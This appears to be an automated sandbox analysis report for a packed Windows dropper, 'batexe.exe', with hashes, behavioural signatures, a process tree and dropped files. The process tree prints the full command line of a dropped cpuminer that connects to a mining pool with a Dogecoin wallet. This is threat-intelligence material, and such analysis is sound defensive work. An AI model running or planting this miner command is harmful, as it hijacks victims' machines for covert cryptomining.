73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
297s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 11:25

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3528	b2e.exe
5104	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5104	cpuminer-sse2.exe
5104	cpuminer-sse2.exe
5104	cpuminer-sse2.exe
5104	cpuminer-sse2.exe
5104	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4648-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4648 wrote to memory of 3528	4648	batexe.exe	74
PID 4648 wrote to memory of 3528	4648	batexe.exe	74
PID 4648 wrote to memory of 3528	4648	batexe.exe	74
PID 3528 wrote to memory of 928	3528	b2e.exe	75
PID 3528 wrote to memory of 928	3528	b2e.exe	75
PID 3528 wrote to memory of 928	3528	b2e.exe	75
PID 928 wrote to memory of 5104	928	cmd.exe	78
PID 928 wrote to memory of 5104	928	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4648
- C:\Users\Admin\AppData\Local\Temp\D33E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\D33E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\D33E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D61C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:928
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\D33E.tmp\b2e.exe

Filesize
13.4MB

MD5
7499a32900b317c2eaaed7121ab7aa1c

SHA1
42fa5bb4900b7669372aba9577f59dd80b8a0b22

SHA256
5a2f4eb151b0efaae48c5b57696b12803b86469215a80883ed6554be5ee1a7b2

SHA512
b2a2b7ccdb8b817e576cc005a187b3958c8cb445587700fad49301f92113097f76944b913344572f754af687168a62dd6fc1296122547378665b4bb10d0d4f9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\D33E.tmp\b2e.exe

Filesize
10.6MB

MD5
44eab466edbc24ec981c2467aa839f76

SHA1
d45ad8bf34cc2cc15611f7dbc6400834bb2f3889

SHA256
77390f59c42b630efc1dacd4f3f795bcb2a5b8ba9399271bc5b5c5e7f84de97e

SHA512
01dac1fc6f671527058861780c1713972c864652a4d0e90ba575a0fe7d249c617ffd44c23095da183d1210bb60eb34a07b94c28b04d697fc8eb46307051dee2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\D61C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.7MB

MD5
b51139eb9031b47f1924071551f3b94b

SHA1
e69bb123d7de0e8937b71733313c23e583d3be05

SHA256
2f5e3b7aea3f038919a0a943e7e7890ff38fbbfcb374ee57fe6639f0c4dc5d6f

SHA512
370fb40ee4fe1c942c69f3a86d2a8a9e4029dfcf919a402332a3bacc46ea5f89f15857b263c092a7b47aaac3f6c5f29c61a966d87900fe2ad4b2af1c672027eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
12.4MB

MD5
b958feeb97ecf18399549b4fc5a57c13

SHA1
c1c0a7a26c1972fe68e1de35868ae6886dd923bd

SHA256
fff18168edbaf85c0a4ebfc9e4dbebcfdf81f700460b2993a9fce00622462975

SHA512
0c4d5be15c417b6e7008bd846145bf5469c444906e403b3b0652eea9e666bec7ecccee1039ac4554c6839b6972c53a82ad2d21ad9094b5543e75d9733b2e05cb

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.6MB

MD5
bf1e7989e07a7437a16401b14742d7af

SHA1
2e1a10cfc977ee5dc4c7018955d70e0a7141689d

SHA256
f814b06854c9622c06e5516e84adf8285fb348f7920c5aeb494d023fdf08fe04

SHA512
73d2af54645de6c3db9debb7c73a8c7ab4b8951bed8bf8975417edbe9b81e3f00d9f02fb36ce3af0d3b039fa7d3bef19cf015720503f09cc6ee10344634f4a71

Download Submit
memory/3528-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3528-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4648-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5104-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5104-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-43-0x0000000069FA0000-0x000000006A038000-memory.dmp

Filesize
608KB

Download
memory/5104-44-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/5104-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5104-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5104-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download